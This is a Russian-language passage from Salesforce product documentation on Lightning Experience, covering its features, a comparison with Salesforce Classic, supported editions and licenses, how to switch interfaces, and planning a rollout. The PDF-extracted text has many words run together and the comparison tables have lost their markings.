Отличительные особенности Lightning Experience

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Вас приветствует Lightning Experience (новый удобный пользовательский интерфейс от
компании Salesforce). Поскольку наша система ориентирована на продажи, обновление
интерфейса затрагивает прежде всего процессы продаж. Полученный
интуитивно-понятныйинтерфейспомогаетторговымпредставителямупроститьрабочие
процессы и сократить время закрытия сделок. Рассмотрим некоторые отличительные
особенности нового интерфейса, помогающие определить необходимость внедрения
Lightning Experience для всех или только некоторых пользователей.
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ПреимуществоФункция

Начните рабочий день на новой начальной странице. Просмотрите показатели
выполнения поставленной цели и получите подробные сведения о ключевых

Начальная страница

организациях. Просмотритеподробныйсписокпредстоящихделпосредствомкомпонента
«Ассистент».

Примените нужные алгоритмы на каждом этапе процесса продаж посредством данного
рабочего пространства, оптимизированного для выполнения действий. При

Рабочее пространство
возможности

необходимости настройте сценарии обучения для каждого этапа. А, благодаря удобному
компоновщику, позволяющему быстро регистрировать вызовы, создавать задачи,
отправлять сообщения эл. почты и т. д., торговые представители могут значительно
повысить эффективность обработки сделок.

Проверьте статус сделок, упорядоченных по каждому этапу ожидаемых продаж.
Пользователи могут перетаскивать сделки между этапами и получать предупреждения о
необходимости принятия мер по ключевой сделке.

Потенциальный клиент,
система Канбан

Выполните эти несложные, но важные действия, которые обязательно возникнут на
протяжении дня без переключения контекста. Вызов от клиента во время просмотра

Окна компоновщика

отчета? Можно легко зарегистрировать вызов, и при этом не нужно искать связанные
сделкиилипереключатьсякдругойзаписи. Окнакомпоновщикаоткрываютсяна текущей
странице, чтобы пользователь мог регистрировать вызовы и создавать события, задачи
и заметки для любой записи.

Просмотр открытых задач, запланированных встреч и достижений на временнойшкале
действий для каждой записи возможности, интереса, организации и контакта.

Принеобходимостивоспользуйтесьспискомзадачдляпросмотрасведенийоконкретных
задачах, а также полного списка открытых задач, задач на сегодня и закрытых задач.

Временная шкала действий
и список задач

Менеджеры могут использовать представление «Делегированные» для просмотра задач,
назначенных нижестоящим пользователям в иерархии ролей.

Воспользуйтесь новыммакетом для быстрого поиска нужнойинформациии просмотра
подробных сведений. Просмотрите последние новости о клиентах посредством

Организации и контакты

интегрированных компонентов «Twitter» и «Важные данные об организациях»,
проанализируйте предстоящие и завершенные действия, а также выполните очистку
данных путем сопоставления повторов на уровне поля.

Создание более эффективных примечаний, поддерживающих возможности
автосохранения, примененияобогащенноготекста, встроенныхизображений, управления
версиями и пакетного связывания с записями.

Расширенные примечания

Оценитеширокиевозможностипредварительногопросмотрафайла, которыенетребуют
наличия Adobe Flash Player. Векторные изображения для предварительного просмотра

Программа
предварительного
просмотра файла отображаются качественнее, загружаются быстрее и не ухудшаются при изменении

разрешения экрана. Новые элементы управления поддерживают прокручивание
многостраничных документов, предварительныйпросмотр анимированныхфайлов GIF,
проведение полноэкранных презентаций и доступ к действиям над файлами.

Повысьте эффективность использования данных. Новая страница запуска отчета
отличается более удобным просмотром и легкой фильтрацией. Анимированные

Отчеты и панели
мониторинга
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ПреимуществоФункция

интерактивные диаграммы позволяют оживить данные организации. А, новый редактор
панелеймониторингаподдерживаетуниверсальныемакетыикомпоненты, охватывающие
столбцы и строки.

Беспрепятственноесозданиеиредактированиесписковыхпредставлений, позволяющих
быстро находить нужные данные. Воспользуйтесь усовершенствованными списковыми

Списковые представления

представлениямидляболеебыстрогопросмотраданных. Визуализацияданныхспомощью
диаграмм спискового представления или применение фильтров для соответствующего
сегментирования данных.

Воспользуйтесь усовершенствованным поиском, охватывающим недавние записи и
популярные результаты, для сокращения времени поиска записей.

Поиск

Воспользуйтесьупрощеннымииусовершенствованнымистраницаминастройки. Оцените
новый раздел «Менеджер объектов», объединяющий все стандартные и настраиваемые
объекты в единый удобный для поиска список.

Меню «Настройка» и раздел
«Менеджер объектов»

Подходит ли Lightning Experience для вашей организации Salesforce?

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Итак, задумываетесь о переключении на интерфейс Lightning Experience? Новый
интерфейс предоставляет многочисленные преимущества группам сбыта. Однако
система Salesforce очень сложная, и в ней нельзя перестроить все сразу. Возможности
текущего выпуска отличаются от возможностей, доступных в Salesforce Classic
(предыдущий полнофункциональный интерфейс Salesforce). Рассмотрим некоторые
примеры использования, а также сравним возможности Lightning Experience и Salesforce
Classic для определения необходимости переключения между интерфейсами или
предварительного просмотра вашей организации в новом интерфейсе.

В настоящее время интерфейс Lightning Experience ориентируется на группы сбыта,
поэтому функции других облачных приложений пока не поддерживаются. Также не
поддерживаются некоторые функции продаж. Несмотря на то что функциональное расширение интерфейса Lightning
Experience предстоит только в будущих выпусках, степень его важности для текущих бизнес-требований организации
должна быть определена уже сейчас.

Помните, что поддержка Lightning Experience может быть включена для отдельной группы пользователей. Другими
словами, использование нового интерфейса может быть разрешено группе сбыта, тогда как организация обслуживания
продолжит использование интерфейса Salesforce Classic. При необходимости тестирование пробной версии Lightning
Experience может быть выполнено небольшой группой пользователей без ущерба для остальных пользователей
организации.

Порядок переключения на Salesforce Classic после включения Lightning Experience

Благодаря сохранению поддержки Salesforce Classic, пользователи Lightning Experience могут легко переключаться
между новым и старым интерфейсами. Таким образом, несмотря на свое несовершенство, интерфейс Lightning
Experience может беспрепятственно тестироваться пользователями и администраторами организаций.

Поддерживаемые версии и пользовательские лицензии для Lightning Experience

Ознакомьтесьсподдерживаемымиверсиямиипользовательскимилицензиямииуточните, можетливашаорганизация
включить и использовать Lightning Experience.
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Полезные примеры использования для Lightning Experience

Рассмотрим типы организаций, подходящие для данного выпуска Lightning Experience. А также некоторые примеры
использования, которые пока что могут быть непригодными.

Сравнение Lightning Experience и Salesforce Classic

Понимать, что естьичегонет вновоминтерфейсе, чрезвычайноважнодляпринятиярешенияопереходена Lightning
Experience. Ниже приведены некоторые сведения о Lightning Experience в сравнении с привычными возможностями
Salesforce Classic.

Что ожидает текущие настройки Salesforce?

Нашими сотрудниками проделана огромная работа над сохранением текущих конфигураций и настроек в Lightning
Experience. Также новый интерфейс поддерживает большинство интерактивных и программных внедрений. Тем не
менее некоторые возможности настройки не применяются новым интерфейсом или позволяют использовать все
преимущества Lightning Experience только после их обновления. Ниже перечислены некоторые рекомендации.

Предварительный просмотр организации в Lightning Experience

Рано или поздно вы подумаете: «Все так, но я хочу это увидеть». Однако, пока вы готовы, можете перевести своих
пользователей на новую систему. Неудобно? Вовсе нет! Вам поможет ассистент по миграции Lightning Experience.
Функция предварительного просмотра в ассистенте по миграции позволяет просматривать производственную
организациюв Lightning Experience. Теперьвысможете видеть, какименновашиданныеитекущиенастройкиработают
в новом интерфейсе. И при этом никого не потревожите.

СМ. ТАКЖЕ:

Поддерживаемые версии и пользовательские лицензии для Lightning Experience

Поддерживаемые обозреватели для Lightning Experience

Замечания по Lightning Experience

Порядок переключения на Salesforce Classic после включения Lightning
Experience

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Благодаря сохранению поддержки Salesforce Classic, пользователи Lightning Experience
могут легко переключаться между новым и старым интерфейсами. Таким образом,
несмотря на свое несовершенство, интерфейс Lightning Experience может
беспрепятственно тестироваться пользователями и администраторами организаций.

После включения Lightning Experience новый интерфейс отображается пользователям
по умолчанию.Теоретическиновыйинтерфейс Lightning Experienceможет соответствовать
всемтребованиямпользователей. Темнеменее, старыйинтерфейсSalesforce Classicможет
быть самостоятельно включен пользователями, которым требуются функции или
инструменты, поддерживаемые классическим интерфейсом.

Чтобы включить интерфейс Salesforce Classic, воспользуйтесь переключателем. Щелкните фотографию для профиля в
верхнем колонтитуле Lightning Experience и выберите «Переключить на Salesforce Classic».
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ПереключательизменяетстандартнуюнастройкунаSalesforce Classic. Классическийинтерфейсотображаетсяпользователю
до момента переключения на Lightning Experience. При этом стандартной настройкой становится новый интерфейс. Так
выглядит данный процесс в общих чертах.

Чтобы воспользоваться переключателем в интерфейсе Salesforce Classic, щелкните имя в верхнемправом углу и выберите
«Переключить на Lightning Experience».

Возможность самостоятельного переключения пользователей между интерфейсами может повлиять на решение
относительно начала использования Lightning Experience. Если Lightning Experience не поддерживает только некоторые
редкоиспользуемыефункции, топереключениемеждуинтерфейсамиможетбытьоптимальнымрешением, позволяющим
оценить преимущества нового интерфейса. Если пользователям требуется ежедневный доступ к неподдерживаемым
функциям продаж или любымфункциям обслуживания, доступным в Salesforce Classic, то переключение на новый
интерфейс должно быть временно отложено.

СМ. ТАКЖЕ:

Особенности переключения пользователей между интерфейсами Lightning Experience и Salesforce Classic
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Поддерживаемые версии и пользовательские лицензии для Lightning
Experience
Ознакомьтесь с поддерживаемыми версиями и пользовательскими лицензиями и уточните, может ли ваша организация
включить и использовать Lightning Experience.

Версии

Поддерживаемые версии • Group Edition

• Professional Edition

• Enterprise Edition

• Performance Edition

• Unlimited Edition

• Developer Edition

Неподдерживаемые версии • Personal Edition

• Contact Manager Edition

• Database.com Edition

• Chatter.com Edition

Лицензии пользователя

Поддерживаемые лицензии • Salesforce

• Вся платформа Salesforce и Force.com (кроме Force.com Free)

• Подтверждение подлинности пользователя

Неподдерживаемые
лицензии

• Employee Community, Customer Community, Customer Community Plus, Partner Community

• Все лицензии портала

• Force.com бесплатно

• Data.com

• Work.com

• Database.com

• Только контент

• Только идеи

• Только знания

• Только Site.com
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Полезные примеры использования для Lightning Experience

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Рассмотрим типы организаций, подходящие для данного выпуска Lightning Experience.
Атакженекоторыепримерыиспользования, которыепокачтомогутбытьнепригодными.

Ниже перечислены примеры использования интерфейса Lightning Experience.

• Группа сбыта осуществляет деловые продажипосредствоморганизаций, контактов,
интересов, возможностей, настраиваемых объектов и других функций продаж,
поддерживаемых новым пользовательским интерфейсом.

• Компании требуется тестирование нового пользовательского интерфейса при
участии группы торговых представителей.

• Компании требуется перезапуск внедрения Salesforce. В данном примере компания
может быстро внедрить новые функции ввиду необходимости управления изменениями.

Ниже перечислены примеры использования интерфейса Salesforce Classic.

• Группа сбыта постоянно использует функции, которые пока не поддерживаются интерфейсом Lightning Experience
(например, сметы, прогнозирование или управление территориями).

• Компания широко использует инструменты для обслуживания клиентов или другие функции, не связанные с
продажами.

• Группы сбыта и обслуживания компании должны использовать одинаковый интерфейс.

Сравнение Lightning Experience и Salesforce Classic
Понимать, что есть и чего нет в новом интерфейсе, чрезвычайно важно для принятия решения о переходе на Lightning
Experience. Нижеприведенынекоторыесведенияо Lightning Experience в сравненииспривычнымивозможностямиSalesforce
Classic.

Прим.: Данные списки не дают полной картины о том, чего нет в Lightning Experience. Кроме того, прочитайте
замечания по Lightning Experience, чтобы принять окончательное решение.

Данные Salesforce

Salesforce Classic.Lightning ExperienceФункция

Объекты Sales: учетные записи,
кампании, контакты, интересы,
возможности, организации-лица,
прайс-лист, продукты

Календарь, события, задачи

Объекты Service: активы, базовые
обращения, заказ-наряды

Настраиваемые объекты

Использование лент, групп и людей
Chatter

Salesforce Files
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Salesforce Classic.Lightning ExperienceФункция

Другие объекты Sales и Service

Начальная страница

Salesforce Classic.Lightning ExperienceФункция

Таблица показателей

Ассистент

Сведения об организациях

Лучшие сделки

Задачи

Календарь и события*

Лента и публикатор

Элементы для утверждения

Настраиваемые панели мониторинга

Настраиваемыекомпонентыначальной
страницы

*Календарьи события Salesforceнеотображаютсянаначальнойстранице Lightning Experience, нодоступныв стандартном
меню навигации Lightning Experience.

Организации и контакты

Salesforce Classic.Lightning ExperienceФункция

Сведения об организациях

График действий

Расширенные примечания

Встроенная электронная почта и
шаблоны

Основные показатели Twitter

организации-лица

Группы, работающие с организациями

Иерархия учетных записей и контактов
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Кампании

Salesforce ClassicLightning ExperienceФункция

Диаграммыстатуса участникакампании

Импорт участников кампании

Добавление отдельных участников
кампании

Обновлениестатусаучастникакампании
через импорт

Клонировать участников кампании

Добавление и управление участниками
кампаниииз списковогопредставления

Интересы

Salesforce ClassicLightning ExperienceФункция

Макет страницы рабочей области

График действий

Путь продаж

Расширенные примечания

Изменение владельца интереса на
очередь

Встроенная электронная почта и
шаблоны

Настройкапреобразованияинтересов с
помощью API-интерфейса

Поиск и слияние дублирующихся
интересов

Возможности

Salesforce Classic.Lightning ExperienceФункция

Макет страницы рабочей области

График действий

Путь продаж
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Salesforce Classic.Lightning ExperienceФункция

Расширенные примечания

Визуальное представление
возможностей (Kanban)

Встроенная электронная почта и
шаблоны

Группы, работающие с возможностями

Доли возможности

Похожие возможности

Отчеты

Salesforce Classic.Lightning ExperienceФункция

Улучшенные диаграммы отчетов

Скрытие итогов и подгрупп в
представлении отчета

Созданиеинтерактивныхфильтровпри
просмотре отчетов

Конструктор отчетов

Поля области

Настраиваемые формулы
резюмирования

Форматы матричного, табличного
отчета и сводки

Табличный, конический тип диаграмм

Составные отчеты

Типы диаграмм: линейная с
накоплением, мультипоказательная,
секторная, точечная

Планирование обновления отчетов

Подписаться на отчеты

Экспорт отчетов
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Панели мониторинга

Salesforce Classic.Lightning ExperienceФункция

Отображение более 3 столбцов

Конструктор панелей мониторинга

Просмотр отфильтрованных панелей
мониторинга

Просмотр динамических панелей
мониторинга

Планирование обновления панелей
мониторинга

Публикация компонентов панелей
мониторинга в лентах

Компоненты Visualforce

Списковые представления

Salesforce Classic.Lightning ExperienceФункция

Диаграммы

Создание фильтров на ходу

Создание и изменение списков

Сортируемые столбцы

Столбцы изменяемого размера

Расширенная логика фильтра

Data.com

Salesforce ClassicLightning ExperienceФункция

Поиск контактов и компаний

Статус правил очистки

Просмотр того, как работают правила
очистки

Геокоды для адресов

Добавление контактов Data.com в
качестве интересов
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Другие функции и продукты

Salesforce ClassicLightning ExperienceФункция

Связанные по функциональности окна
компоновщика

Создание и изменение записей

Встроенное редактирование полей
записей

Встроенное редактирование в списках

Прогнозирование

Управление территориями

Сообщества Salesforce*

Партнерские порталы

Service Cloud

Work.com

* Настройка сообществ Salesforce доступно в Lightning Experience, но создание, управление и работа с сообществами
доступны только в Salesforce Classic.

Что ожидает текущие настройки Salesforce?
Нашими сотрудниками проделана огромная работа над сохранением текущих конфигураций и настроек в Lightning
Experience. Такженовыйинтерфейсподдерживаетбольшинствоинтерактивныхипрограммныхвнедрений. Темнеменее
некоторыевозможностинастройкинеприменяютсяновыминтерфейсомилипозволяютиспользоватьвсепреимущества
Lightning Experience только после их обновления. Ниже перечислены некоторые рекомендации.

Меню навигации Lightning Experience
Lightning Experience заменяет панель вкладок Salesforce Classic на свертываемое меню навигации, расположенное в левой
частистраницы. Менюнавигациинеподдерживаетнастройки, выполненныенапанеливкладоквклассическоминтерфейсе.
Вместо этогоможносоздатьнескольконастраиваемыхменюнавигациииназначитьихпрофилямпользователей. Таким
образом, разныепользователи, напримерторговыепредставители, менеджерыпопродажамируководство, могутработать
с навигацией, персонализированной в соответствии с бизнес-требованиями.

Внастраиваемоеменюнавигацииможнодобавлятьразличныеэлементы, в томчислебольшинствостандартныхобъектов
Salesforce, свои настраиваемые объекты, компонент Lightning, вкладки Visualforce и другие элементы (начальную страницу,
главную ленту, людей, группы, файлы, панели мониторинга, отчеты, список задач пользователей и календарь).

В целом большинство элементов из средства запуска приложений может запускаться в настраиваемом меню навигации.
К исключениям относятся подключенные приложения, вкладки страницы Lightning и некоторые объекты Salesforce,
которые не поддерживаются Lightning Experience. Доступ к элементам, которые не запускаются в настраиваемом меню

навигации, всегда можно получить в средстве запуска приложений, нажав на в заголовке.
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Дополнительную информацию см. в разделе «Навигация и действия: функции, недоступные в Lightning Experience».

Макеты страниц и компактные макеты
Настройки страниц записей, выполненные в Salesforce Classic (для стандартныхинастраиваемых объектов), также влияют
на страницызаписейв Lightning Experience. Темнеменее, некоторые элементыстраницотображаются в Lightning Experience
иначе или вовсе не поддерживаются.

Компактныемакетывыполняютв Lightning ExperienceимобильномприложенииSalesforce1одинаковуюроль: отображение
ключевых полей записи на панели основных показателей страницы записи. При использовании Lightning Experience
панель основных показателей отображает первые пять полей из текущих компактных макетов.

Действия и кнопки
При использовании интерфейса Salesforce Classic действия отображаются в публикаторе Chatter, тогда как стандартные и
настраиваемые кнопки отображаются над сведениями на странице записи. При использовании приложения Salesforce1
все типы действий и кнопки отображаются на панели действий Salesforce1. При использовании интерфейса Lightning
Experience границымеждудействиямиикнопкамипродолжаютразмываться. Темнеменее, действияикнопкигруппируются
по типу и отображаются разными областями страницы записи.

По умолчанию в Lightning Experience входят действия и кнопки, определенные в разделе «Действия Salesforce1 и Lightning
Experience» в глобальном макете публикатора. Можно также настроить доступные функции с помощью того же раздела
в макетах страницы объекта. Ниже приведена логика, определяющая область отображения действия или кнопки на
странице записи.

• Глобальные действия типа «Записать вызов в журнал» или «Создать запись» для событий, примечаний и задач,
отображаются в меню «Глобальные действия» в заголовке.

• Большинство быстрых действий, продуктивных действий, стандартных кнопок и поддерживаемых настраиваемых
кнопок отображается посредством меню действий на уровне страницы.

• Действиясобъектамитипа «Записатьвызоввжурнал», «Создать событие», «Создать задачу» и «Эл. почта» отображаются
посредством компоновщика на вкладке действий.

• Стандартные действия Chatter отображаются посредством компоновщика на вкладке сотрудничества.

Порядок отображения действий в каждой из областей определяется порядком их добавления в глобальный макет
публикатора или макет страницы объекта.

Дополнительную информацию см. в разделе «Действия в Lightning Experience».

Настраиваемые кнопки
Lightning Experience не поддерживает настраиваемые кнопки, использующие источник содержимого «JavaScript». При
необходимости замените некоторые функции, которые охватывают данные кнопки, интерактивными инструментами
(например, конструктором процессов, Visual Workflow или подходами под управлением кода).

Настраиваемые кнопки, определяющие источник содержания в качестве URL-адреса или страницы Visualforce, работают
обычным образом.

Компоненты Visualforce и Lightning
Несмотря на кардинальные отличия от Salesforce Classic, Lightning Experience также поддерживает страницы Visualforce.
Данный выпуск дополнен бета-поддержкой Visualforce в Lightning Experience. Текущие страницы Visualforce отображаются
интерфейсом Lightning Experience корректно (многие страницыне требуют никаких исправлений). Ввиду значительного
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обновления интерфейса, корректное отображение страниц Visualforceможет гарантироваться только после выполнения
ряда действий. В настоящее время некоторыефункции Visualforce не поддерживаются интерфейсом Lightning Experience.

Ниже перечислены некоторые основные рекомендации.

• Прииспользовании JavaScript некоторыеэлементыстраницVisualforceподлежатпроверке. Visualforceнеконтролирует
всю страницу, отображаемую в Lightning Experience, поэтому код JavaScript может требовать обновления.

• ПрииспользованиивстроенныхстандартныхкомпонентоввнешнийвидстраницVisualforceсоответствуетоформлению
Salesforce Classic, независимо от интерфейса, используемого для их просмотра. При необходимости внешний вид
страниц можно привести к оформлению Lightning Experience после выполнения некоторых действий.

РекомендуемиспользоватьпродуктSalesforce Lightning Design System (SLDS), поддерживающийшаблоныпроектирования,
компоненты и рекомендации по созданию интерфейсов, соответствующих Lightning Experience. SLDS доступен на
веб-сайтеwww.lightningdesignsystem.com.

Дополнительнуюинформациюсм. вмодуле «Visualforce & Lightning Experience»блока «Developer Trail — Lightning Experience»
в Trailhead.

А как же настройка нового пользовательского интерфейса? Инфраструктура компонентов Lightning — это новая
инфраструктура пользовательского интерфейса для разработки динамических веб-приложений, предназначенных для
мобильных и настольных устройств. Воспользуйтесь данной инфраструктурой или Visualforce в новых проектах.
Дополнительную информацию о разработке пользовательского интерфейса см. в секции «User Interface Development
Considerations» модуля «Lightning Experience Development» в Trailhead. Дополнительную информацию о компонентах
Lightning см. в модуле «Lightning Components» блока «Developer Trail — Lightning Experience» в Trailhead.

Force.com Canvas
Force.com Canvas позволяет быстро интегрировать сторонние приложения в систему Salesforce. Интерфейсы Lightning
Experience и Salesforce Classic поддерживают одинаковыефункции холста. При необходимости приложения холста могут
добавлятьсяна страницыVisualforceидругиеподдерживающиеихобласти, а такжеотображаться в компонентах Lightning.

Интерфейсы Salesforce API и Apex
Lightning Experience практически не влияет на большинство привычных программных инструментов и процессов. Наша
компания внимательно относится к вопросу сохранения текущих зависимостей от интерфейсов Salesforce API в новых
выпусках. Используемые инструменты не меняются. Среда разработки также остается неизменной.

Несмотря на корректную работу классов Apex и вызовов API, Lightning Experience не поддерживает некоторые функции.
Прииспользованииновогоинтерфейсаивыполнениинекоторогокода Apex, взаимодействующегоснеподдерживаемой
функцией, пользователь не может выполнить поставленную задачу. Решением данной проблемы стало добавление
возможностейопределениянастроекинтерфейсапользователяиз API и Apex. Принеобходимостивоспользуйтесьданной
функцией для добавления логики в текущий код во избежание возможных ошибок. Дополнительную информацию см.
в секции «Understanding Changes to Other Development Tools» модуля «Lightning Experience Development» в Trailhead.

Приложения AppExchange
Многиеприложенияиз каталогаAppExchangeподдерживаютнастройки, включаянастраиваемыеобъекты, настраиваемые
кнопки, страницы Visualforce и т. д. Партнеры Salesforce тестируют приложения в Lightning Experience и применяют их к
сертификации Lightning Ready. Приложения, сертифицированные как приложения Lightning Ready, будут поддерживаться
интерфейсом Lightning Experience и полностью соответствовать другим страницам Lightning. Если приложение
поддерживается интерфейсом Lightning Experience, то список AppExchange отображает пометку Lightning Ready. Если
приложение не поддерживается интерфейсом Lightning Experience, рекомендуем переключиться на Salesforce Classic.
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Прим.: Lightning Experience позволяет организации использовать приложения без сертификации Lightning Ready,
но не гарантирует доступность или корректную работу всех функций. Данные приложения могут отображаться
неправильновLightning ExperienceпопричинеиспользованияоформленияSalesforce Classic. Приналичииприложений
без сертификации Lightning Ready рекомендуем использовать Salesforce Classic.

Предварительный просмотр организации в Lightning Experience

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра в ассистенте
по миграции Lightning
Experience выполните
следующие действия.
• «Просмотр настройки и

конфигурации»

Для редактирования в
ассистенте по миграции
Lightning Experience
выполните следующие
действия.
• «Настройка

приложения»

Рано или поздно вы подумаете: «Все так, но я хочу это увидеть». Однако, пока вы готовы,
можете перевести своих пользователей на новую систему. Неудобно? Вовсе нет! Вам
поможет ассистент по миграции Lightning Experience. Функция предварительного
просмотра в ассистенте по миграции позволяет просматривать производственную
организациюв Lightning Experience. Теперь вы сможете видеть, как именно ваши данные
итекущиенастройкиработаютвновоминтерфейсе. Иприэтомникогонепотревожите.

Функция предварительного просмотра заблокирована, доступна только для чтения. Вы
можете менять данные, настройки, полномочия — все что угодно. Но помните, что
работаете сживойорганизацией. Любыесделанныеизменениясохранятсяибудутвидны
пользователям в Salesforce Classic.

Для начала работы введите строку «Создать» в поле «Быстрый поиск» в меню
«Настройка», затем выберите пункт «Lightning Experience». Нажмите кнопку
«Предварительный просмотр».

Переход на Lightning Experience Пора!

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прекрасно! Вы решили, что готовы перейти на Lightning Experience. Во-первых, мы
рекомендуем разработать стратегию вашего перехода. Затем, когда придет подходящее
время, вы сможете воспользоваться приведенными ниже инструкциями по включению
нового пользовательского интерфейса.

Разработка стратегии развертывания для Lightning Experience

Преждечемприступитькразвертыванию Lightning Experience, рекомендуемсоставить
четкий план. Как правило, план позволяет определить правильный порядок
выполнения действий, обозначить ключевые ресурсы, установить нужные связи и
выбрать конкретную дату окончания.
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Включение Lightning Experience

Чтобы включить Lightning Experience, просто сдвиньте переключатель. Темне менее, рекомендуем сначала настроить
некоторые другие функции, предоставляющие пользователям полный доступ к возможностям нового интерфейса
при включении Lightning Experience. Затем настройте доступ к Lightning Experience подходящим пользователям. При
необходимости новый интерфейс может быть включен для небольшой пробной группы или всех пользователей
организации.

Разработка стратегии развертывания для Lightning Experience
Прежде чем приступить к развертыванию Lightning Experience, рекомендуем составить четкий план. Как правило, план
позволяет определить правильный порядок выполнения действий, обозначить ключевые ресурсы, установить нужные
связи и выбрать конкретную дату окончания.

Ответственный за выполнение развертывания (сотрудник отдела по управлению изменениями или менеджер проекта)
определяется размером организации. Также ответственность за весь процесс подготовки и выполнения развертывания
может быть возложенана администратора организации. Независимоот разделениярабочихобязанностей, рекомендуем
просмотреть модуль «Развертывание Lightning Experience» блока «Журнал администратора — переход на Lightning Experience»
в журнале Trailhead.

Ниже перечислены основные этапы развертывания.

Обучение • Просмотр общих сведений об интерфейсе Lightning Experience

• Определение заинтересованных лиц и руководителя проекта

• Обучение сотрудниковкомпаниипосредствомпрезентацийидемонстрационныхроликов

• Просмотр разделов «Сравнение интерфейсов Lightning Experience и Salesforce Classic» и
«Рекомендации по использованию Lightning Experience»

• Проведение сравнительного анализа для подтверждения правильности выполненных
действий

Запуск • Выбор пользователей для тестирования пробной версии Lightning Experience

• Выбор и активация суперпользователей

• Создание расписания проекта

• Определение критериев успеха

• Создание и выполнение стратегий маркетинга и обучения

• Настройка и тестирование (желательно в безопасной среде)

• Активация

Итерация • Оценка текущего состояния дел на предмет достижения показателей успеха

• Опрос пользователей на предмет удовлетворенности и основных проблем

• Использование отчетов и панелей мониторинга для отслеживания показателей и отзывов

• Составление общей сводки

Чтобы начать планирование, загрузите пакет «Пакет клиентскихфункций Lightning Experience», который входит в состав
«Развертывание Lightning Experience». Данныйпакет содержит полезные ресурсы (например, наборпрезентаций, таблица

241

Разработка стратегии развертывания для Lightning ExperienceОценка и развертывание Lightning Experience для вашей
организации

https://developer.salesforce.com/trailhead/module/lex_migration_rollout
https://developer.salesforce.com/trailhead/trail/lex_admin_migration
http://developer.salesforce.com/files/LightningExperienceCustomerEnablementPack.zip
https://developer.salesforce.com/trailhead/module/lex_migration_rollout


серьезности рисков, шаблон расписания проекта и контрольный список развертывания), позволяющие полностью
контролировать ход выполнения составленного плана.

Включение Lightning Experience

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Чтобы включить Lightning Experience, просто сдвиньте переключатель. Тем не менее,
рекомендуем сначала настроить некоторые другие функции, предоставляющие
пользователям полный доступ к возможностям нового интерфейса при включении
Lightning Experience. Затем настройте доступ к Lightning Experience подходящим
пользователям. При необходимости новый интерфейс может быть включен для
небольшой пробной группы или всех пользователей организации.

Чтобы выполнить данные действия, воспользуйтесь программой-ассинтентом по
переносу Lightning Experience. Щелкните ссылку «Lightning Experience» в меню
«Настройка» интерфейса Salesforce Classic.

Рекомендованные функции для Lightning Experience

Преждечемвключить Lightning Experience, рекомендуемвключитьинастроитьнекоторыевспомогательныефункции.
Данныефункции гарантируют оптимальную настройку нового пользовательского интерфейса для предоставления
торговым представителям доступа к более быстрому и усовершенствованному процессу продаж.

Настройка пользователей для Lightning Experience

Теперь убедитесь, что Lightning Experience доступен соответствующим пользователям. По умолчанию полномочие
«Пользователь Lightning Experience» автоматически назначается всем пользователям со стандартным профилем
Salesforce. При необходимости уточните доступ к Lightning Experience посредством настраиваемых профилей или
наборов полномочий. Другими словами, вы можете предоставить ограниченный доступ для пилотной группы или
определенной команды пользователей, которые могут воспользоваться преимуществами нового интерфейса. Или
же включите его для всей своей организации. Выбор только за Вами!
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Включение Lightning Experience для вашей организации
Вы выполнили этапы «Изучение» и «Запуск» вашего плана развертывания. Вы настроили функции Salesforce,
оптимизирующие новый пользовательский интерфейс. Вы включили правильных пользователей, они обучены и
готовы к изменениям в работе. Вы готовы к запуску системы! Как хорошо, что интерфейс Lightning Experience очень
легко можно включить с помощью программы-помощнику Migration Assistant.

СМ. ТАКЖЕ:

Поддерживаемые версии и пользовательские лицензии для Lightning Experience

Рекомендованные функции для Lightning Experience

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПреждечемвключитьLightning Experience, рекомендуемвключитьинастроитьнекоторые
вспомогательные функции. Данные функции гарантируют оптимальную настройку
нового пользовательского интерфейса для предоставления торговым представителям
доступа к более быстрому и усовершенствованному процессу продаж.

Связанныефайлы
Разрешите пользователям применять расширенные возможности Salesforce Files из
стандартныхобъектов Salesforceисобственныхнастраиваемыхобъектов. Дополните
макетыстраницновымсвязаннымсписком «Файлы», позволяющимзагружатьфайлы
в записи, просматривать связанные файлы и пролистывать файлы посредством
современной визуально обогащенной программы предварительного просмотра.

Примечания
Этопоможетпользователямоптимальноорганизовыватьсвоюработупосредствомрасширеннойверсииинструмента
создания примечаний. Создание обогащенных текстовых примечаний и их связывание с отдельными записями не
занимают много времени. При включении примечаний рекомендуем дополнить макеты страниц новым связанным
списком «Примечания», позволяющим создавать и просматривать примечания прямо из записей.

Путь продаж
Разрешите торговым представителям отслеживать процессы продаж организации и закрывать сделки. Настройте
этапывозможностейи статусыинтересов, а такжеопределитепорядокихотображения впутипродаж. Затемдобавьте
собственные этапы обучения для каждого этапа или статуса в пути продаж.

Управление повторами
Создайте правила, позволяющие уведомлять пользователей о создании повторяющейся записи. Настройте данные
правила для определения условий создания повторяющихся записей в системе Salesforce.

Преобразование интересов
Чтобы обеспечить бесперебойность процесса продаж, разрешите торговым представителям преобразовывать
перспективные интересы в контакты, организации или возможности. Дополните макет страницы интереса кнопкой
«Преобразовать».

Важные данные об организациях
Предоставьте торговым представителям мгновенный доступ к актуальным и своевременным новостным статьям об
их организациях. Даннаяфункция доступна толькона английском языке, поэтомуможет оказаться бесполезной, если
организацияиспользует другойосновной язык. (Дополнительнуюинформациюопроблемах конфиденциальности
при использовании данной функции см. раздел Сведения об организациях в справке Salesforce).
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Социальные организации, контакты и интересы
Разрешите торговымпредставителямсвязыватьорганизации, контактыиинтересыс соответствующимипрофилями
Twitter для обновления доступных данных. Пользователи могут просматривать профили Twitter, находить общих
